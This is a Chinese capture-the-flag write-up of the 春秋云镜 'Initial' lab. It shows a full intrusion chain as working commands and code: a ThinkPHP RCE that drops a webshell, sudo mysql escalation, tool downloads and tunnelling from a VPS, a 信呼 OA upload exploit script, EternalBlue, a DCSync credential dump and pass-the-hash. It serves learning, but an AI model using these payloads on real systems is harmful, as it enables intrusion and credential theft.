春秋云镜initial

入口机

访问给定的ip,发现了如下的界面.
image

我们访问到了一个错误的界面,发现是Thinkphp框架.使用ThinkphpRCE来进行攻击.
image

发现了漏洞,使用上面的payload,成功的执行了phpinfo的函数.
那么我们参照博客ThinkPHP 5.0.23 远程代码执行 漏洞复现_thinkphp5.0.23-rce漏洞复现-CSDN博客,像入口机写入木马.
通过get方法访问/index.php?s=captcha,然后post传参

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n YWE8P3BocCBAZXZhbCgkX1JFUVVFU1RbJ2F0dGFjayddKSA/PmJi | base64 -d > shell.php

使用蚁剑进行连接/shell.php,密码为attack.
登录以后发现没有root权限,查看可以无密码执行的命令

sudo -l

发现可以免密码执行mysql,尝试提权

sudo mysql -e '\! /bin/bash'

然而并没有成功.然后尝试去执行一般的命令,成功了

sudo mysql -e '\! cat /root/flag/f*'

得到了第一段flag.flag{60b53231-

内网信息搜集

然后接下来需要配置代理.
在vps上启动服务,然后将客户端压缩包传输到入口机并部署服务.
vps:

python3 -m http.server 

入口机:

wget http://123.57.23.40:8000/nps_client.tar
tar -xvf nps_client.tar
chmod 777 npc
./npc -server=123.57.23.40:8024 -vkey=8lwmthurrb31pz4j

查看nps web服务端发现已经成功的配置代理.
然后向入口机去传一个fscan去扫内网.

wget http://123.57.23.40:8000/fscan.tar
tar -xvf fscan.tar
chmod 777 fscan
./fscan -h 172.22.1.15/16

得到了如下结果

(icmp) Target 172.22.1.2      is alive
(icmp) Target 172.22.1.15     is alive
(icmp) Target 172.22.1.18     is alive
(icmp) Target 172.22.1.21     is alive

image

按理说还应该有其他更加详细的描述,然而我的没有,不知道为啥.
事后复盘:这里fscan的命令应该使用

./fscan -h 172.22.1.15/16 -no -nopoc

来防止模块过多时间过长,然后对于扫描出来的ip再进行全模块扫描.
我们将proxifier挂到火狐上,然后走代理成功访问内网.

内网渗透

172.22.1.2是DC域控,不知道是啥,先不管.
先去访问172.22.1.18看看
image

扔到whatweb中扫了一下什么也没有发现

proxychains whatweb -v http://172.22.1.18

弱密码爆破出用户名为admin,密码为admin123.
上网一搜这个信呼协同办公系统,第一条就是2.2版本的一个漏洞.找了一个exp,打一下试试

import requests
 
 
session = requests.session()
 
url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'
 
data1 = {
    'rempass': '0',
    'jmpass': 'false',
    'device': '1625884034525',
    'ltype': '0',
    'adminuser': 'YWRtaW4=',
    'adminpass': 'YWRtaW4xMjM=',
    'yanzm': ''
}
 
 
r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})
 
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']
 
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
 
r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('dir');")
print(r.text)

然后同目录放一个1.php文件马,运行脚本

proxychains python3 exp.py 

得到了文件上传的路径

[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  123.57.23.40:2333  ...  172.22.1.18:80  ...  OK
<br />
<b>Notice</b>:  Undefined offset: 1 in <b>C:\phpStudy\PHPTutorial\WWW\upload\2024-08\11_10205771.php</b> on line <b>1</b><br />

然后将蚁剑也添加到代理中
image

使用蚁剑连接,在C://Users/Administrator/flag/flag02.txt找到了第二段flag:2ce3-4813-87d4-
上面的洞的具体原理可以看信呼2.2版本文件上传漏洞信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE这两篇文章 ,核心问题就是文件上传后的扩展名修改问题
访问http://172.22.1.21/,失败了.网上说fscan能扫出来是永恒之蓝,打一打看看
按照永恒之蓝的流程去打

proxychains msfconsole 
use exploit/windows/smb/ms17_010_eternalblue 
set payload windows/x64/meterpreter/bind_tcp_uuid 
set RHOSTS 172.22.1.21 
exploit

然后拿到了一个正向的shell,查看C://Users/Administrator,发现没有flag.说明flag不在这个机器上,那么就得在172.22.1.2.想到题目描述中的DCSync,了解到需要打DC域控器.
image

下面是一大段漫长的计网知识补习:
什么是本地,域,林?什么又是域控制器?
本地(Local)
本地指的是单台计算机或设备上的设置和资源。每台计算机都有自己的本地用户和组,这些用户和组只能在该计算机上进行管理和使用。
- 本地用户和组:这些用户和组仅在本地计算机上有效。例如,Administrators 组是一个本地组,包含具有完全控制本地计算机权限的用户。
- 本地资源:包括本地文件、文件夹、打印机等资源。

(Domain)
是 Active Directory 中的一个逻辑组,包含一组用户、计算机和其他资源。域是 Active Directory 的基本单位,提供集中管理和安全控制。
- 域控制器(DC):域内的服务器,负责管理和控制域内的资源和用户。域控制器提供身份验证、授权和目录服务。
- 域用户和组:这些用户和组在整个域内有效。例如,Domain Admins 组是一个域级别的组,包含具有管理整个域权限的用户。
- 域资源:包括域内的文件服务器、打印服务器、应用服务器等资源。

(Forest)
是 Active Directory 中的最高级别的逻辑结构,由一个或多个域组成。林提供跨域的管理和安全控制。
- 林根域(Forest Root Domain):林中的第一个域,通常是整个林的命名空间的根。
- 子域(Child Domain):林根域下的其他域,继承林根域的命名空间。
- 全局目录(Global Catalog):林中的一个或多个域控制器,存储林中所有对象的部分属性,提供跨域的查询和身份验证。
- 林信任(Forest Trust):林与林之间的信任关系,允许跨林的资源访问和身份验证。

更精确的描述
- 本地(Local):指单台计算机上的用户和资源管理。
- 域(Domain):指一个网络中的一组计算机和用户,集中管理和控制这些资源。
- 林(Forest):指多个域的集合,提供跨域的管理和安全控制。
示例
假设你在一个企业网络中,有一个 Active Directory 林 example.com,其中包含多个域和子域:

  • 林(Forest)example.com
    • 林根域(Forest Root Domain)example.com
    • 子域(Child Domain)sub.example.com
      在这个林中,有多个域控制器和用户:
  • 域控制器(DC)dc1.example.com 和 dc2.example.com
  • 域用户和组user1@example.com 和 Domain Admins 组
  • 全局目录(Global Catalog)gc1.example.com
    接下来说一下什么是DCSync攻击.由于是一种很复杂的攻击,所以边做边学.DCSync攻击技术的利用
    DCSync攻击:
    DCSync的原理是利用域控制器之间的数据同步复制
    DCSync是AD域渗透中常用的凭据窃取手段,默认情况下,域内不同DC每隔15分钟会进行一次数据同步,当一个DC从另外一个DC同步数据时,发起请求的一方会通过目录复制协议(MS- DRSR)来对另外一台域控中的域用户密码进行复制,DCSync就是利用这个原理,“模拟”DC向真实DC发送数据同步请求,获取用户凭据数据,由于这种攻击利用了Windows RPC协议,并不需要登陆域控或者在域控上落地文件,避免触发EDR告警,因此DCSync时一种非常隐蔽的凭据窃取方式
    DCSync 攻击前提:
    想进行DCSync 攻击,必须获得以下任一用户的权限:
    Administrators 组内的用户
    Domain Admins 组内的用户
    Enterprise Admins 组内的用户域控制器的计算机帐户
    即:默认情况下域管理员组具有该权限
    由于我们刚才打永恒之蓝得到的直接就是管理员权限,因此可以直接打DCSync.
load kiwi 
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit

这个kiwi就是msf中的Mimikatz,我们通过上述命令可以得到域用户的用户名和密码(NTLM)的哈希.
xiaorang.lab是之前扫出来的林根域的域名
image

然后此时我们就得到了Domain Admins以及其哈希.
然后我们此时就可以打一个哈希横传.
介绍一下什么是哈希横传攻击
Pass The Hash 即PTH,也是内网渗透中较未常见的一个术语,就是通过传递Windwos 本地账户或者域用户的hash值,达到控制其他服务器的目的
在进入企业内网之后,如果是Windows PC或者服务器较多的环境,极有可能会使用到hash传递来进行内网的横传,现在企业内部一般对于口令强度均有一定的要求,抓取到本地hash后可能无法进行破解,同时从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash.在Windows Server 2012 R2及之后版本的操作系统中,默认不会在内存中保存明文密码,这时可以通过传递hash来进行横传。
适用场景:内网中大量主机密码相同。
hash 传递的原理是在认证过程中,并不是直接使用用户的密码进行认证的,而是使用用户的hash值,因此,攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不需要提供明文密码。在Windows系统中,通常会使用NTLM身份认证,NTLM是口令加密后的hash值。PTH是基于smb服务(139端口和445 端口
这里使用哈希横传攻击,是因为获得了域的管理员的哈希.而一般情况下,域的管理员和用户会被添加为域服务器的管理员和用户.
在kali下使用命令

proxychains crackmapexec smb 172.22.1.2 -u administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

对命令进行一定程度的解析:使用crackmapexec工具,指定了smb服务.-u指定用户,-H指定哈希值.-x执行命令.
成功获取到了最后一截flag:e8f88d0d43d6}

是第一进行内网渗透,在配代理的位置也耗费了很多时间,后面估计会快起来.由于刚结束大一,没学操作系统,尤其是计网的知识,所以对于很多网络概念没有认知.欠下了有关kerberos认证全过程,黄金,白银票据的知识,回头去看去学习.

共用时4小时36分,主要都用在配代理上了...
image

posted @ 2024-08-12 08:02  colorfullbz  阅读(75)  评论(0)    收藏  举报